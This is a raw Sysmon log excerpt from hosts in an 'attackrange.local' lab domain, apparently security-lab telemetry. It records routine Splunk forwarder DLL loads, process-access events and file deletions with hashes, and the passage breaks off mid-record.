734700x800000000000000053663Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\adsldpc.dll10.0.14393.0 (rs1_release.160715-1616)ADs LDAP Provider C DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationadsldpcMD5=F03FD7F523CFDBB96B0F3B8012FC161D,SHA256=8218E5AC2D7A52A2D50CD8D3CC8AA8CE4E37D1BDECFA62BC2637AA32A01CBA54,IMPHASH=AFF2E9AF6DD20912DC1E604BDBCA3761trueMicrosoft WindowsValid 734700x800000000000000053662Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\archive.dll-----MD5=98978F08A7A0D24C92FE8DC5287A8258,SHA256=CBB940A38E834C0BE44884C667863F76D6700D564043F90B3EB813370C3174E7,IMPHASH=86B04733169A315F437478D1C9AA6193trueSplunk, Inc.Valid 734700x800000000000000053661Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libeay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/libeay32.dllMD5=6445BD4247E3956B244772F3C415585F,SHA256=2B08FC9E160AD0F698226DA3E30A12551E8EBCCA1E7287E3915EC62B58151A78,IMPHASH=838F909F0A52D977E0B8662364FA0BFEtrueSplunk, Inc.Valid 734700x800000000000000053660Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\rpcrt4.dll10.0.14393.4467 (rs1_release.210604-1844)Remote Procedure Call RuntimeMicrosoft® Windows® Operating SystemMicrosoft Corporationrpcrt4.dllMD5=B0C4BF9491FB453B77399E3C56C11DC8,SHA256=66D5D1B3D25D15EA8737C8B2EF83E770BA10931868F24DCACC50936F0A0BAC08,IMPHASH=EB45E6A4165ECBE63E7CA7D14DE0BD8EtrueMicrosoft WindowsValid 734700x800000000000000053659Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec-openssl.dll-----MD5=F30BB43EC30BE50400780223450492CD,SHA256=867D0453E285A5C29A4EFA039D2399662DCCAC98F88C46B0A41CEFB6B68DD836,IMPHASH=464BF3FDF330E6A15D24CC679EF7F72EtrueSplunk, Inc.Valid 734700x800000000000000053658Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxmlsec.dll-----MD5=D98BAB348C28C8CFCC11EDB575E2557A,SHA256=ADA3F1256B175ECC390F126D2730D7A1AAB5A53F1AF205A7667D8010416602F9,IMPHASH=3295DC2518E43BEF226F8847873D20C2trueSplunk, Inc.Valid 734700x800000000000000053657Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\sechost.dll10.0.14393.3808 (rs1_release.200707-2105)Host for SCM/SDDL/LSA Lookup APIsMicrosoft® Windows® Operating SystemMicrosoft Corporationsechost.dllMD5=E6B98644CD3B912C44C39CC0996790A9,SHA256=23BE56E1B8DBA449C0959753175BD15457EC88E93E9E8B86489266347959A6F2,IMPHASH=D6E06125849E8565A50F366A0149FB40trueMicrosoft WindowsValid 734700x800000000000000053656Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ucrtbase.dll10.0.14393.3659 (rs1_release_1.200410-1813)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationucrtbase.dllMD5=9804D130E8E7178738C2B9808091B427,SHA256=6053B7CC85846F15094475116A8C57BA89FE99FDD1978C54E8A7E2114E318FE3,IMPHASH=57ABD1FDE351971A01E912069E11B44CtrueMicrosoft WindowsValid 734700x800000000000000053655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\ssleay32.dll1.0.2tOpenSSL Shared LibraryThe OpenSSL ToolkitThe OpenSSL Project, http://www.openssl.org/ssleay32.dllMD5=B20FA07A7A61791EE537B5945429E141,SHA256=EF53BC2AB58BC548EFA249B0B8F2E1FBB9D4739EF27B0C67DFF1468D555329D3,IMPHASH=E09B42A7EA1725DA2CD99223AD969C63trueSplunk, Inc.Valid 734700x800000000000000053654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\msvcrt.dll7.0.14393.2457 (rs1_release_inmarket.180822-1743)Windows NT CRT DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationmsvcrt.dllMD5=0AF8989DD67A135B536CF948E3EFB7EB,SHA256=C693DA0EF4DCF3BC244661B9FD280FE12C3053FDD7B977712C0CF210831B2EF4,IMPHASH=07D6F84E3C8FD0D2C32F9398A0369BAFtrueMicrosoft WindowsValid 734700x800000000000000053653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxslt.dll-----MD5=B8D3119CE62331C6A9B170DA0A608F28,SHA256=7D6C6B7C542B4E67AA468FEB12044E2EE34CE8F8A68C7665D7861F3363B6E66A,IMPHASH=06C8C57E25207671F4639FDBFA0212ECtrueSplunk, Inc.Valid 734700x800000000000000053652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\libxml2.dll2.9.9libxml2 librarylibxml2-libxml2.dllMD5=0E7B7B3B25A2F094EB3A7BAF471154B8,SHA256=6CFAC8D8D5B7345F2C6CC82CBF8F9DD475881EA260346BE283E52B822F2CCAC1,IMPHASH=6DA659461618DB73B9BD17D114677D20trueSplunk, Inc.Valid 734700x800000000000000053651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\activeds.dll10.0.14393.4169 (rs1_release.210107-1130)ADs Router Layer DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationADsMD5=C62947CD1080E3B128B517AE91B22D6D,SHA256=6BB5D8967F822B5B1646DC9069212914D36C4D3D65E086AC0890B6A02112B438,IMPHASH=C7DF3F2CF025F0BEDA797705E4F4AFBBtrueMicrosoft WindowsValid 734700x800000000000000053650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\advapi32.dll10.0.14393.4467 (rs1_release.210604-1844)Advanced Windows 32 Base APIMicrosoft® Windows® Operating SystemMicrosoft Corporationadvapi32.dllMD5=A8CDCAC5C32D14ED8AADDF5489FC5D55,SHA256=140F07A8F6780DAFE20CC4FBE86C9332FB2F0C26ED8F49914BD05265C63EF6F1,IMPHASH=B511E4B82A44D3731CDA46A74F5D57EAtrueMicrosoft WindowsValid 10341000x800000000000000053649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-664F-613B-B400-00000000F001}36484280C:\Windows\system32\conhost.exe{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\ConhostV2.dll+5ca7|C:\Windows\SYSTEM32\ConhostV2.dll+774b|C:\Windows\SYSTEM32\ConhostV2.dll+a8ef|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\KernelBase.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationKernelbase.dllMD5=0F627827D9CFFA8E0BCF30F013FB7209,SHA256=EA47C3E471801ACA92EE449C66CF785EA670ADE92A5A2D5CDB81C93DD72ABEF0,IMPHASH=05349EBAA635D77714868763D44881E9trueMicrosoft WindowsValid 734700x800000000000000053647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\kernel32.dll10.0.14393.4350 (rs1_release.210407-2154)Windows NT BASE API Client DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel32MD5=A5AD62615D2361BFAEC6C047B199184C,SHA256=B43F3DFDAF7BAA7A2B97015631F96CE429C50348D380080CFC29C36F959D7886,IMPHASH=3CE0779E0F4E275CD51A359A98CCC682trueMicrosoft WindowsValid 734700x800000000000000053646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Windows\System32\ntdll.dll10.0.14393.4530 (rs1_release.210705-0736)NT Layer DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationntdll.dllMD5=36B87C41EE39F3051D116F735EBEF866,SHA256=9C45BAE6D7E27B3AE04BBF88B96686C04ED6A43695558E82B687013BA0383F8A,IMPHASH=00000000000000000000000000000000trueMicrosoft WindowsValid 734700x800000000000000053645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exeC:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1CtrueSplunk, Inc.Valid 10341000x800000000000000053644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+fd18|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-65B2-613B-0C00-00000000F001}8364820C:\Windows\system32\svchost.exe{7BD73061-65BF-613B-2C00-00000000F001}2972C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000053640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000053639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.369{7BD73061-664E-613B-B000-00000000F001}41843260C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\KERNELBASE.dll+2b860|C:\Windows\System32\KERNELBASE.dll+6b246|C:\Windows\System32\KERNEL32.DLL+1c213|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+ce6a3b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17cade|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18641d|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+17ef16|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c992c4|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+18689b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+189d3c|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c95f5f|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c99fad|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+184c5b|C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe+c7dd7e|C:\Windows\System32\ucrtbase.dll+1fb80|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 154100x800000000000000053638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.370{7BD73061-73B7-613B-810B-00000000F001}2780C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe-----"C:\Program Files\SplunkUniversalForwarder\bin\splunk-powershell.exe"C:\Windows\system32\NT AUTHORITY\SYSTEM{7BD73061-65B0-613B-E703-000000000000}0x3e70SystemMD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe"C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe" service 23542300x800000000000000053637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:19.154{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B45DAB8294C2C61821D71F3853DDB636,SHA256=5CFB818951977F3BBD43BB4B57371CA0FDF740832055578CD28DADBF8BF2A831,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000017218Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 15:03:20.822{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=D11E94D797EDBD11B81816A09969127E,SHA256=1CD426A7E7AC807877A084C620D6355C4A533040DCA7C848B467484F5BE7E393,IMPHASH=00000000000000000000000000000000falsetrue 734700x800000000000000053795Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.921{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\kernel.appcore.dll10.0.14393.2312 (rs1_release.180607-1919)AppModel API HostMicrosoft® Windows® Operating SystemMicrosoft Corporationkernel.appcore.dllMD5=0AF5EF8A7FEFD4B37036B71514FC20CF,SHA256=D4F178583F6F33794D42B4DB11008494E9CD9F069C2AD2CA304DA63F9B5F659C,IMPHASH=94524C03C5380F78283785F1E05E667DtrueMicrosoft WindowsValid 10341000x800000000000000053794Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.921{7BD73061-73B8-613B-830B-00000000F001}21801304C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe{7BD73061-664E-613B-B000-00000000F001}4184C:\Program Files\SplunkUniversalForwarder\bin\splunkd.exe0x101400C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+5691a5|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+568cd6|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56657|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+56ca7|C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exe+8f3800|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 734700x800000000000000053793Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.905{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbgcore.dll10.0.14321.1024 (debuggers(dbg).210127-1811)Windows Core Debugging HelpersMicrosoft® Windows® Operating SystemMicrosoftDBGCORE.DLLMD5=72E8FEC8419AB470FB737883463688FE,SHA256=1DA7D2D2D1C4E6EC17101A4997C4AA610818730D63C72C1D2084ABA3F25C5146,IMPHASH=F67CBD9561C1FEF51B817BA184E81D2EtrueMicrosoft WindowsValid 734700x800000000000000053792Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.905{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\dbghelp.dll10.0.14321.1024 (rs1_release.160715-1616)Windows Image HelperMicrosoft® Windows® Operating SystemMicrosoftDBGHELP.DLLMD5=2C92DF5D32661FB4B81B08B72B2102A7,SHA256=BCEF4DEBDE7D8D6916EE3D3E5E63A725E03A058AABCD7DD49DF9D48B16E96D1A,IMPHASH=E7FD2920222985E31019D022BB39EFBEtrueMicrosoft WindowsValid 734700x800000000000000053791Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.752{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptbase.dll10.0.14393.0 (rs1_release.160715-1616)Base cryptographic API DLLMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptbase.dllMD5=51FCB0FDEFCB9A3E4A1DC8C8673BC63C,SHA256=63A0E1A76B7ABCF56E44B548568649FFB6B5609402746D48A4DC77CCED20F5FE,IMPHASH=9E9C9DFD04CDDF2B6F1412BF096AEAF4trueMicrosoft WindowsValid 734700x800000000000000053790Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\rsaenh.dll10.0.14393.4467 (rs1_release.210604-1844)Microsoft Enhanced Cryptographic ProviderMicrosoft® Windows® Operating SystemMicrosoft Corporationrsaenh.dllMD5=28140830C342F475A597B2D54C42DFFA,SHA256=99E23D0177C6DC59AD72DEEC46CFB995828EF567F001261BC65532B6DDEAD862,IMPHASH=C918D75BDB7774C087BB6C0C9C0A7686trueMicrosoft WindowsValid 734700x800000000000000053789Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\cryptsp.dll10.0.14393.2969 (rs1_release.190503-1820)Cryptographic Service Provider APIMicrosoft® Windows® Operating SystemMicrosoft Corporationcryptsp.dllMD5=9500AE4C4B639FEAEED0CC6C39F45149,SHA256=C1055D4B9A854282336A5404CA0FCB1A2EBC3417600035338C9CDFC7B8D0778C,IMPHASH=96CBD1B5C0EA88B677BA3BB5FD009869trueMicrosoft WindowsValid 734700x800000000000000053788Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\srvcli.dll10.0.14393.0 (rs1_release.160715-1616)Server Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationSRVCLI.DLLMD5=656F846CAED76C6FC5C76E8BACEF4EF6,SHA256=DFDE27C086764ACC1EA3E6A4E2BA50C2AB532F9E1D99203861F51910A8D850FB,IMPHASH=B15A9E7274075AC5A54930989FAC32E4trueMicrosoft WindowsValid 734700x800000000000000053787Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\bcrypt.dll10.0.14393.4583 (rs1_release.210730-1850)Windows Cryptographic Primitives LibraryMicrosoft® Windows® Operating SystemMicrosoft Corporationbcrypt.dllMD5=63231EA984BC614584102A96D4F35CB4,SHA256=13C5BD283C01B0D50D8D0D99E88FC67F9234FA14A6860AB2B6EE552199FF6A74,IMPHASH=7C2E79D83754439DC7DE7882DCB4238DtrueMicrosoft WindowsValid 734700x800000000000000053786Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\wkscli.dll10.0.14393.0 (rs1_release.160715-1616)Workstation Service Client DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationWKSCLI.DLLMD5=3DCBAE237E4E1F0EBE8E7DC053F778C4,SHA256=C3331CCBE71CC98A5F1BC013F1C0218FE194CA7B497DDF706BF9025AB5A7B330,IMPHASH=050C8F7AA588BF04847F59B2EFAE366AtrueMicrosoft WindowsValid 734700x800000000000000053785Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netutils.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API Helpers DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNETUTILS.DLLMD5=504739A17F3A05531258784275A6F375,SHA256=A931C54C47B454407990241DB12BD209AC219C55F026ADDED427A9E84A409923,IMPHASH=7D1B32891B9173ED71ED6C18DEFEE578trueMicrosoft WindowsValid 734700x800000000000000053784Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\netapi32.dll10.0.14393.0 (rs1_release.160715-1616)Net Win32 API DLLMicrosoft® Windows® Operating SystemMicrosoft CorporationNetApi32.DLLMD5=F55166956AEAD05A141BA7E80B90AB7B,SHA256=B9BCF21D7F7E771C388C469B2611E8946166C62005B56D72421060DABFF7093F,IMPHASH=2D83F1DFF12EFB449C1FCD6634700369trueMicrosoft WindowsValid 734700x800000000000000053783Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Program Files\SplunkUniversalForwarder\bin\msvcp140.dll14.16.27012.6 built by: vcwrkspcMicrosoft® C Runtime LibraryMicrosoft® Visual Studio® 2017Microsoft Corporationmsvcp140.dllMD5=BA72C2F6F465926980ADC2FB7F8B3490,SHA256=86881A7054532019291C162F0A8177980C1C2B45490F7E88543F22915D08D9FF,IMPHASH=ADF99B9EA3A1F76C33522F96772BC4DDtrueMicrosoft CorporationValid 734700x800000000000000053782Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 15:03:20.738{7BD73061-73B8-613B-830B-00000000F001}2180C:\Program Files\SplunkUniversalForwarder\bin\splunk-regmon.exeC:\Windows\System32\msvcp_win.dll10.0.14393.2999 (rs1_release_inmarket.190520-1518)Microsoft® C Runtime LibraryMicrosoft® Windows® Operating SystemMicrosoft 